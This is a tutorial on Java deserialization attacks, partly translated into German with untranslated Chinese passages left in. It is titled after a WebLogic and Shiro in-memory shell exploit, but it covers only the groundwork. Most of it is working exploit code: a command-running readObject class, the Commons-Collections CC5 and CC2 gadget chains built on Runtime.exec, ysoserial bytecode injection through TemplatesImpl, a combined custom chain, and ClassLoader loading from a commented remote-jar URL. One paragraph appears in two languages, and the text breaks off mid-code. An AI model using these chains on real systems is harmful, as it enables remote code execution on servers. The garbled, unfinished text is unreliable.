
WebLogic nutzt CVE-2020-2883 aus, um die Shiro rememberMe-Deserialisierungslücke zu exploitieren und mit einem Klick eine AntSword-Filter-In-Memory-Shell zu registrieren.
Dieser Beitrag behandelt die folgenden Punkte:
Java-Serialisierung bezeichnet den Prozess der Umwandlung von Java-Objekten in eine Byte-Sequenz, um sie im Speicher, in Dateien oder in Datenbanken zu speichern. Die Methode writeObject() der Klasse ObjectOutputStream kann die Serialisierung durchführen und Java-Objekte in eine Byte-Sequenz umwandeln.
Java-Deserialisierung bezeichnet den Prozess der Wiederherstellung von Java-Objekten aus einer Byte-Sequenz. Die Methode readObject() der Klasse ObjectInputStream wird für die Deserialisierung verwendet.
Ein einfaches Beispiel: siehe Code SerializeAndDeserialize Hinweis: Achten Sie besonders auf die Typumwandlungen im Code```java
package org.chabug.demo;
import org.chabug.entity.Dog; import org.chabug.entity.Person; import org.chabug.util.Serializables;
/* 这个例子是为了证明只要实现了Serializable接口的类都可以被序列化 并且Java内置的几大数据类型也可被序列化,因为他们都继承了Object类 */
public class SerializeAndDeserialize {
public static void main(String[] args) throws Exception {
byte[] bytes;
String s1 = "I'm a String Object....";
bytes = Serializables.serializeToBytes(s1);
Object o1 = Serializables.deserializeFromBytes(bytes);
System.out.println(o1);
String[] s2 = new String[]{"tom", "bob", "jack"};
bytes = Serializables.serializeToBytes(s2);
String[] o2 = (String[])Serializables.deserializeFromBytes(bytes);
System.out.println(o2);
int i = 123;
bytes = Serializables.serializeToBytes(i);
int o3 = (Integer) Serializables.deserializeFromBytes(bytes);
System.out.println(o3);
// 一只名叫woody的狗
Dog dog = new Dog();
dog.setName("woody");
// tom
Person tom = new Person();
tom.setAge(14);
tom.setName("tom");
tom.setSex("男");
tom.setDog(dog);
bytes = Serializables.serializeToBytes(tom);
Person o = (Person) Serializables.deserializeFromBytes(bytes);
System.out.println(o);
}
}
String、Integer、Array、Object-Objekte und andere in Java eingebaute Datentypen können serialisiert werden. Unsere eigenen Klassen wie Person und Dog können serialisiert und deserialisiert werden, solange sie das Serializable-Interface implementieren.
## Warum entstehen Schwachstellen bei der Deserialisierung?
Sehen wir uns einen Code an: Es gibt jetzt eine bösartige Entity-Klasse EvilClass.```java
package org.chabug.entity;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class EvilClass implements Serializable {
String name;
public EvilClass() {
System.out.println(this.getClass() + "的EvilClass()构造方法被调用!!!!!!");
}
public EvilClass(String name) {
System.out.println(this.getClass() + "的EvilClass(String name)构造方法被调用!!!!!!");
this.name = name;
}
public String getName() {
System.out.println(this.getClass() + "的getName被调用!!!!!!");
return name;
}
public void setName(String name) {
System.out.println(this.getClass() + "的setName被调用!!!!!!");
this.name = name;
}
@Override
public String toString() {
System.out.println(this.getClass() + "的toString()被调用!!!!!!");
return "EvilClass{" +
"name='" + getName() + '\'' +
'}';
}
private void readObject(ObjectInputStream in) throws Exception {
//执行默认的readObject()方法
in.defaultReadObject();
System.out.println(this.getClass() + "readObject()被调用!!!!!!");
Runtime.getRuntime().exec(new String[]{"cmd", "/c", name});
}
}
In seinem readObject gibt es Code, der einen Befehl ausführt: Runtime.getRuntime().exec(new String[]{"cmd", "/c", name}), der Parameter name ist der auszuführende Befehl. Also können wir ein bösartiges Objekt konstruieren, dessen name-Attribut auf den auszuführenden Befehl gesetzt wird. Wenn die Deserialisierung readObject auslöst, kommt es zur RCE. Wie folgt```java
package org.chabug.demo;
import org.chabug.entity.EvilClass; import org.chabug.util.Serializables;
public class EvilSerialize { public static void main(String[] args) throws Exception { EvilClass evilObj = new EvilClass(); evilObj.setName("calc"); byte[] bytes = Serializables.serializeToBytes(evilObj); EvilClass o = (EvilClass) Serializables.deserializeFromBytes(bytes); System.out.println(o); } }

Jetzt wissen wir also, wie Deserialisierung zu RCE führen kann, aber in der Entwicklung wird man es nicht direkt so schreiben, daher geht es um die Suche nach der Nutzungskette. Eine Deserialisierungsschwachstelle benötigt drei Dinge:
1. Einstiegspunkt der Deserialisierung (source)
2. Zielmethode (sink)
3. Nutzungskette (gadget chain)
Wenn man die Ausgabe im obigen Bild genau betrachtet, wird nicht nur die readObject-Methode ausgelöst, sondern auch toString(), der parameterlose Konstruktor, set- und get-Methoden. Bei der tatsächlichen Suche nach einer Nutzungskette muss man sich daher nicht nur auf die readObject()-Methode konzentrieren.
An diesem Punkt müssen wir das Konzept der **Reflexion** verstehen. Oben haben wir das Problem der **Zwangstypkonvertierung** erwähnt. In der realen Entwicklung wird in readObject eine logische Verarbeitung durchgeführt. Wenn der konkrete Datentyp des übergebenen Objekts nicht bekannt ist, wird durch Reflexion entschieden und aufgerufen. Reflexion ist ein wichtiges Mittel zur Erreichung von RCE.
## Java-Reflexion
Was ist Reflexion? Das Wort „Reflexion“ enthält das Zeichen „反“ (entgegen/umgekehrt). Um Reflexion zu erklären, müssen wir mit dem **normalen Aufruf** beginnen. Schauen wir uns den Code an. Dies ist meine Entitätsklasse.```java
package org.chabug.entity;
import java.io.IOException;
public class ReflectionClass {
String name;
public ReflectionClass(String name) {
this.name = name;
}
public ReflectionClass() {
}
public String say() {
return this.name;
}
private void evil(String cmd) {
try {
Runtime.getRuntime().exec(new String[]{"cmd","/c",cmd});
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public String toString() {
return "ReflectionClass{" +
"name='" + name + '\'' +
'}';
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
Normale Schreibweise```java package org.chabug.demo;
import org.chabug.entity.ReflectionClass;
public class ReflectionDemo { public static void main(String[] args) { ReflectionClass demo = new ReflectionClass(); demo.setName("hello"); System.out.println(demo.say()); // demo.evil("calc"); // 不能够调用private方法 } }
很简单就是通过new创建了一个ReflectionClass实例,然后通过实例去调用其所属方法,这就是"正射"。但是当你new的时候不知道类名怎么办?受private保护的方法怎么调用?反射的作用就体现出来了。看下面这一段代码
Es ist ganz einfach: Man erstellt eine Instanz von ReflectionClass mit `new` und ruft dann über diese Instanz deren Methode auf – das nennt man "direkte Instanziierung". Aber was tun, wenn man beim `new` den Klassennamen nicht kennt? Wie ruft man private/protected Methoden auf? Hier zeigt sich die Funktion der Reflexion. Sehen Sie sich den folgenden Code an:```java
package org.chabug.demo;
import org.chabug.entity.ReflectionClass;
import java.lang.reflect.Method;
public class ReflectionDemo {
public static void main(String[] args) throws Exception {
// new
Class<?> aClass = Class.forName("org.chabug.entity.ReflectionClass");
Object o = aClass.newInstance();
// setName("jack")
Method setName = aClass.getDeclaredMethod("setName",String.class);
setName.invoke(o, "jack");
// say()
Method say = aClass.getDeclaredMethod("say",null);
Object o1 = say.invoke(o, null);
System.out.println(o1);
// evil("calc")
// 反射可以修改方法的修饰符来调用private方法
Method evil = aClass.getDeclaredMethod("evil", String.class);
evil.setAccessible(true);
evil.invoke(o,"calc");
}
}
不需要提前知道类名,用到org.chabug.entity.ReflectionClass类改一改通过参数传进来就行了,并且可以通过setAccessible来获取private保护的方法或字段。
接下来我们从漏洞入手,深入了解反射在反序列化中的作用,以及反序列化调用链的挖掘。
ysoserial 是一个生成Java反序列化exp的工具,其中继承了一些一直的exp,比如的CommonsCollections几条利用链。这次要分析的是CC2、CC5这两条链,之所以分析这两条,是为了在CC2中使用了定义字节码的操作,CC5中是为了对反射和链式调用加深理解。
先来看更方便理解的CC5链条。
漏洞出现在`org.apache.commons.collections.functors.InvokerTransformer#transform````java public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); } } }
Im Vergleich zum Code im Reflexionsabschnitt ist dies eine offensichtliche Verwendung von Reflexion. Mit dem Code der direkten Reflexion erklärt, heißt das:```java
input.iMethodName(iArgs);
this.iMethodName、this.iParamTypes、this.iArgs sind alle im Konstruktor kontrollierbar. Dadurch können beliebige Methoden des input-Objekts aufgerufen und beliebige Parameter übergeben werden.```java public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; }
Daher zunächst ein Code zur Befehlsausführung.```java
package org.chabug.demo;
import org.apache.commons.collections.functors.InvokerTransformer;
public class CC5 {
public static void main(String[] args) throws Exception {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(Runtime.getRuntime());
}
}
Da die Runtime-Klasse ein Singleton ist, muss das Runtime-Laufzeitobjekt über getRuntime() abgerufen und an transform() übergeben werden, um den Taschenrechner zu öffnen.

Aber wir wissen, dass bei der Deserialisierung nur automatisch readObject() ausgeführt wird. Wenn wir zu diesem Zeitpunkt direkt ein InvokerTransformer-Objekt konstruieren, müssen wir noch zwei Probleme lösen:
Zuerst lösen wir das erste Problem: In org.apache.commons.collections.functors.ChainedTransformer#transform kann eine verkettete Ausführung realisiert werden.```java public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object; }
this.iTransformers wird als Array von Transformer definiert```java
private final Transformer[] iTransformers;
Transformer ist ein Interface, das auch von InvokerTransformer implementiert wird.

Gemäß dem Prinzip der impliziten Typkonvertierung in Java können wir ein Transformer-Array definieren, in das mehrere InvokerTransformer eingefügt werden, um mehrere Reflexionsaufrufe durchzuführen und Runtime.getRuntime().exec() zu erhalten.```java package org.chabug.demo;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer;
public class CC5 { public static void main(String[] args) throws Exception { // ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc"); Transformer[] transformers = new Transformer[]{ // 传入Runtime类 new ConstantTransformer(Runtime.class), // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime() new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 调用exec("calc") new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}) }; Transformer chain = new ChainedTransformer(transformers); chain.transform(null); } }
其中很巧妙的是通过ConstantTransformer类的构造方法传入了Runtime.class,这样就不需要我们自己传入Runtime了。
现在就需要解决第二个问题,如何自动触发transform()。都知道readObject()在反序列化时会执行,那么在那个类的readObject()直接或者间接地调用了transform()呢?
在org.apache.commons.collections.map.LazyMap#get中调用了transform()```java
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
Betrachten Sie den Konstruktor dieser Klasse und das factory-Feld.```java protected final Transformer factory;
public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); }
Das factory-Feld ist mit final und protected modifiziert, es hat jedoch eine public-Methode decorate(), um Objekte dieser Klasse zu erzeugen, sodass wie folgt konstruiert werden kann```java
HashMap hashMap = new HashMap();
Map map = LazyMap.decorate(hashMap, chain);
map.get("test"); //执行这个就会弹出计算器 map.get() > transform()
Hier suchen wir, wo die get()-Methode der Map aufgerufen wird org.apache.commons.collections.keyvalue.TiedMapEntry#getValue```java private final Map map; private final Object key;
public TiedMapEntry(Map map, Object key) { this.map = map; this.key = key; } public Object getKey() { return this.key; } public Object getValue() { return this.map.get(this.key); } public String toString() { return this.getKey() + "=" + this.getValue(); }
getValue() ruft map.get() auf, this.key ist ebenfalls kontrollierbar. toString() ruft this.getValue() auf. Jetzt fahren wir mit der Konstruktion fort.```java
HashMap hashMap = new HashMap();
Map map = LazyMap.decorate(hashMap, chain);
// map.get("test");
TiedMapEntry key = new TiedMapEntry(map, "key");
key.toString(); // toString > getValue() > map.get()
Nun ist das Problem, wie readObject automatisch toString() auslöst. Das ist einfach: In den integrierten Klassen des JDK gibt es eine Ausnahmeklasse BadAttributeValueExpException, deren readObject() toString() ausführt.```java public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString(); } public String toString() { return "BadAttributeValueException: " + val; }
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
Da System.getSecurityManager() standardmäßig null ist, wird val = valObj.toString() ausgelöst, was zu TiedMapEntry.toString() führt, das endgültige Payload```java
package org.chabug.demo;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.chabug.util.Serializables;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC5 {
public static void main(String[] args) throws Exception {
// ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");
Transformer[] transformers = new Transformer[]{
// 传入Runtime类
new ConstantTransformer(Runtime.class),
// 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
// invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
// 调用exec("calc")
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
Transformer chain = new ChainedTransformer(transformers);
// chain.transform(null);
HashMap hashMap = new HashMap();
Map map = LazyMap.decorate(hashMap, chain);
// map.get("asd");
TiedMapEntry key = new TiedMapEntry(map, "key");
// key.toString();
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, key);
byte[] bytes = Serializables.serializeToBytes(badAttributeValueExpException);
Serializables.deserializeFromBytes(bytes);
}
}

Es ist zu beachten, dass beim Deklarieren des BadAttributeValueExpException-Objekts der entry-Parameter nicht direkt übergeben, sondern per Reflection zugewiesen wird. Denn der Konstruktor von BadAttributeValueExpException prüft bereits auf null; wenn der Wert nicht null ist, würde während der Serialisierung toString() ausgeführt werden. Bei der Deserialisierung wäre der übergebene entry dann aber bereits ein String, sodass die toString()-Methode nicht ausgelöst würde.
Zusammenfassung: Flexibler Einsatz von Reflection mit Verkettung von Aufrufen, Suche nach einem passenden Gadget und erfolgreiche RCE.```java /* Gadget chain: ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() Requires: commons-collections */
### CommonsCollections2
Bevor wir CC2 vorstellen, müssen wir zunächst Java-Bytecode verstehen. In Java muss der gesamte Java-Code in Class-Bytecode-Dateien kompiliert werden, die dann von der JVM ausgeführt werden. Bytecode ähnelt eher einer Assemblersprache und ist schwer lesbar, es gibt jedoch viele hervorragende Bibliotheken, um Bytecode zu manipulieren, zu modifizieren und zu bearbeiten, um Programmierung zu ermöglichen, wie zum Beispiel asm, cglib und javassist. Das in ysoserial verwendete Tool ist die Javassist-Bibliothek. Schauen wir uns zunächst an, wie das Payload von cc2 in ysoserial geschrieben ist.```java
public Queue<Object> getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);
// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
return queue;
}
Betrachten Sie zuerst die erste Zeile: Gadgets.createTemplatesImpl(command)```java public static Object createTemplatesImpl ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); }
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
Erwähnt wurde die Klasse org.apache.xalan.xsltc.trax.TemplatesImpl, also müssen wir uns zuerst zwei Codezeilen ansehen.```java
package org.chabug.demo;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import ysoserial.payloads.util.Gadgets;
public class CC2 {
public static void main(String[] args) throws Exception {
TemplatesImpl object = (TemplatesImpl) Gadgets.createTemplatesImpl("calc");
object.newTransformer();
}
}

Warum öffnet sich der Taschenrechner? Genauere Betrachtung von createTemplatesImpl()```java public static Object createTemplatesImpl ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); }
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
public static T createTemplatesImpl ( final String command, Class tplClass, Class abstTranslet, Class transFactory ) throws Exception { final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
Der obige Code führt folgende Schritte aus:
1. Instanziiert ein `org.apache.xalan.xsltc.trax.TemplatesImpl`-Objekt `templates`, dessen `_bytecodes`-Feld Bytecode speichern kann.
2. Erstellt eine eigene Klasse `StubTransletPayload`, die von `AbstractTranslet` erbt und das `Serializable`-Interface implementiert.
3. Holt den Bytecode von `StubTransletPayload` und fügt mit javassist den Bytecode für `templates` (Runtime.exec-Befehlsausführung) ein.
4. Setzt per Reflection das `_bytecodes`-Feld von `templates` auf den Bytecode mit der Befehlsausführung.
Im Grunde wird eine Unterklasse von `org.apache.xalan.xsltc.trax.TemplatesImpl` implementiert und in ihrem `_bytecodes`-Feld eigener schädlicher Bytecode eingefügt. Siehe `newTransformer()````java
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
führt getTransletInstance() aus, folgen```java private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet)
_class[_transletIndex].getConstructor().newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setOverrideDefaultParser(_overrideDefaultParser);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException | IllegalAccessException |
NoSuchMethodException | InvocationTargetException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString(), e);
}
}
Die folgende Zeile erstellt eine neue Instanz basierend auf der durch den Bytecode definierten Klasse, und im static-Block der durch den Bytecode definierten Klasse steht Runtime.exec, was zu einer RCE führt.```java
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].getConstructor().newInstance();
那么寻找一个在readObject中调用template.newTransformer()的类即可。也就是payload中的PriorityQueue
PriorityQueue 一个基于优先级的无界优先级队列。优先级队列的元素按照其自然顺序进行排序,或者根据构造队列时提供的 Comparator 进行排序,具体取决于所使用的构造方法。
查看其readObject()```java private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in size, and any hidden stuff s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
Da es sich um eine Prioritätswarteschlange handelt, muss es eine Sortierung geben. In heapify()```java
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]); // 进行排序
}
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x); // 如果指定比较器就使用
else
siftDownComparable(k, x); // 没指定就使用默认的自然比较器
}
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
private void siftDownComparable(int k, E x) {
Comparable<? super E> key = (Comparable<? super E>)x;
int half = size >>> 1; // loop while a non-leaf
while (k < half) {
int child = (k << 1) + 1; // assume left child is least
Object c = queue[child];
int right = child + 1;
if (right < size &&
((Comparable<? super E>) c).compareTo((E) queue[right]) > 0)
c = queue[child = right];
if (key.compareTo((E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = key;
}
comparator ist der Comparator. Wenn ein comparator angegeben wird, wird comparator.compare((E) c, (E) queue[right]) aufgerufen. comparator ist ein Objekt des Comparator-Interfaces.```java
private final Comparator<? super E> comparator;
Bei Betrachtung der Vererbungshierarchie wird festgestellt, dass die Klasse TransformingComparator im Paket CC das Comparator-Interface implementiert.

Die compare()-Methode von TransformingComparator```java
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
嘿,ist das nicht genau der vorherige Reflexionsaufruf der transform-Methode? this.transformer beinhaltet die InvokerTransformer-Klasse, und der Reflexionsaufruf von newTransformer() führt direkt zu RCE. Konstruiere den Payload.```java public Queue getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);
// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
return queue;
}
Der Punkt der Verwirrung liegt wahrscheinlich bei `new InvokerTransformer("toString", new Class[0], new Object[0])`. Warum wird zuerst toString verwendet und dann per Reflexion auf newTransformer geändert? Denn wenn newTransformer direkt verwendet wird, wird bei der Serialisierung der Fehler `The method 'newTransformer' on 'class java.lang.Integer' does not exist` ausgelöst. Daher setzt ysoserial clever zuerst toString ein, um in einen String umzuwandeln und mit der Zahl 1 zu vergleichen, und ändert es dann per Reflexion.
Zusammenfassung:```java
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/
CC2 nutzt die Klasse TemplatesImpl über die Initialisierung mit bösartigem Bytecode zur RCE, CC5 realisiert RCE durch schrittweise Reflexion über Kettenaufrufe. Aber im Kern handelt es sich immer noch um Reflexion, und die beiden Chains können noch einmal abgewandelt werden, um eine weitere Chain abzuleiten.```java package org.chabug.demo;
import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.chabug.util.Serializables; import ysoserial.payloads.util.Reflections;
import java.lang.reflect.Field; import java.util.PriorityQueue;
public class MyCC { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime() new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 调用exec("calc") new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}) }; Transformer chain = new ChainedTransformer(transformers);
Class clazz = ChainedTransformer.class;
Field iTransformers = clazz.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
Transformer[] transformers1 = new Transformer[]{
new InvokerTransformer("toString", new Class[]{}, new Object[]{})
};
ChainedTransformer chain1 = new ChainedTransformer(transformers1);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain1));
queue.add("1");
queue.add("1");
iTransformers.set(chain1, transformers);
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = Runtime.class;
queueArray[1] = 1;
byte[] bytes = Serializables.serializeToBytes(queue);
Serializables.deserializeFromBytes(bytes);
}
}
其实就是把CC5的前半段和CC2的后半段拼一起,用CC5链式调用执行命令,用CC2触发toString。
## Java ClassLoader 加载类的几种方法
> Java是编译型语言,所有的Java代码都需要被编译成字节码来让JVM执行。Java类初始化时会调用 `java.lang.ClassLoader` 加载类字节码,ClassLoader会调用defineClass方法来创建一个 `java.lang.Class` 类实例。
ClassLoader类是一个抽象类,并不能直接拿来用,jdk中有几个具体实现类,比如DefiningClassLoader、BCEL ClassLoader、GroovyClassLoader、URLClassLoader、Jython中PythonInterpreter的org.python.core.BytecodeLoader等等,还可以自己实现ClassLoader。
本文主要讲解三种URLClassLoader、BytecodeLoader和自己定义ClassLoader去从字节码中加载类。
### URLClassLoader```java
package org.chabug.loader;
import java.net.URL;
import java.net.URLClassLoader;
public class URLClassLoaderDemo {
public static void main(String[] args) throws Exception {
// URL url = new URL("https://baidu.com/cmd.jar"); // 也可以加载远程jar
URL url = new URL("file:///d:/calc.jar");
// 创建URLClassLoader对象,并加载远程jar包
URLClassLoader ucl = new URLClassLoader(new URL[]{url});
// 通过URLClassLoader加载jar包
Class<?> aClass = ucl.loadClass("org.chabug.demo.Calc");
aClass.newInstance();
}
}
Der Befehl zum Erstellen des JAR-Pakets lautet jar cvf calc.jar Calc.class, der schädliche Code wird direkt im static-Block geschrieben, und beim Erstellen einer neuen Klasseninstanz mit newInstance() wird er automatisch ausgeführt.


package org.chabug.loader;
import org.python.util.PythonInterpreter;
import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream;
public class BytecodeLoaderLoader { public static void main(String[] args) throws Exception { String className = "org.chabug.demo.Calc"; byte[] bytes = getBytesByFile("E:\code\java\JavaSerialize\target\classes\org\chabug\demo\Calc.class"); String classBytes = ""; for (byte b : bytes) { classBytes += String.format("%s%s", b, ","); } String s = String.format("from org.python.core import BytecodeLoader;\n" + "from jarray import array\n" + "myList = [%s]\n" + "bb = array( myList, 'b')\n" + "BytecodeLoader.makeClass("%s",None,bb).getConstructor([]).newInstance([]);", classBytes, className); PythonInterpreter instance = PythonInterpreter.class.getConstructor(null).newInstance(); instance.exec(s); }
public static byte[] getBytesByFile(String pathStr) {
File file = new File(pathStr);
try {
FileInputStream fis = new FileInputStream(file);
ByteArrayOutputStream bos = new ByteArrayOutputStream(1000);
byte[] b = new byte[1000];
int n;
while ((n = fis.read(b)) != -1) {
bos.write(b, 0, n);
}
fis.close();
byte[] data = bos.toByteArray();
bos.close();
return data;
} catch (Exception e) {
e.printStackTrace();
}
